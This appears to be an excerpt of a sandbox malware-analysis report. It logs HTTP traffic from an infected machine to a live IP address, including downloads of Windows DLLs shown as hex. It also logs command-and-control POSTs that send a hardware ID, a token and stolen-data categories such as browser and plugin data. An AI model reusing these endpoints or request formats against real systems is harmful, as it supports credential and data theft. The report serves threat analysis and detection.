00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 19:13:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 19:13:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 19:13:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 19:13:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEHost: 185.215.113.206Content-Length: 208Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 44 36 41 39 43 46 30 31 38 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="hwid"5D6A9CF018FF9645207------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build"tale------JDAFHCGIJECFHIDGDBKE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"browsers------HJEHIJEBKEBFBFHIIDHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="message"plugins------DGCAAFBFBKFIDGDHJDBK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"fplugins------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 185.215.113.206Content-Length: 5907Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKEHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="file"------JKJDBAAAEHIEGCAKFHCG--
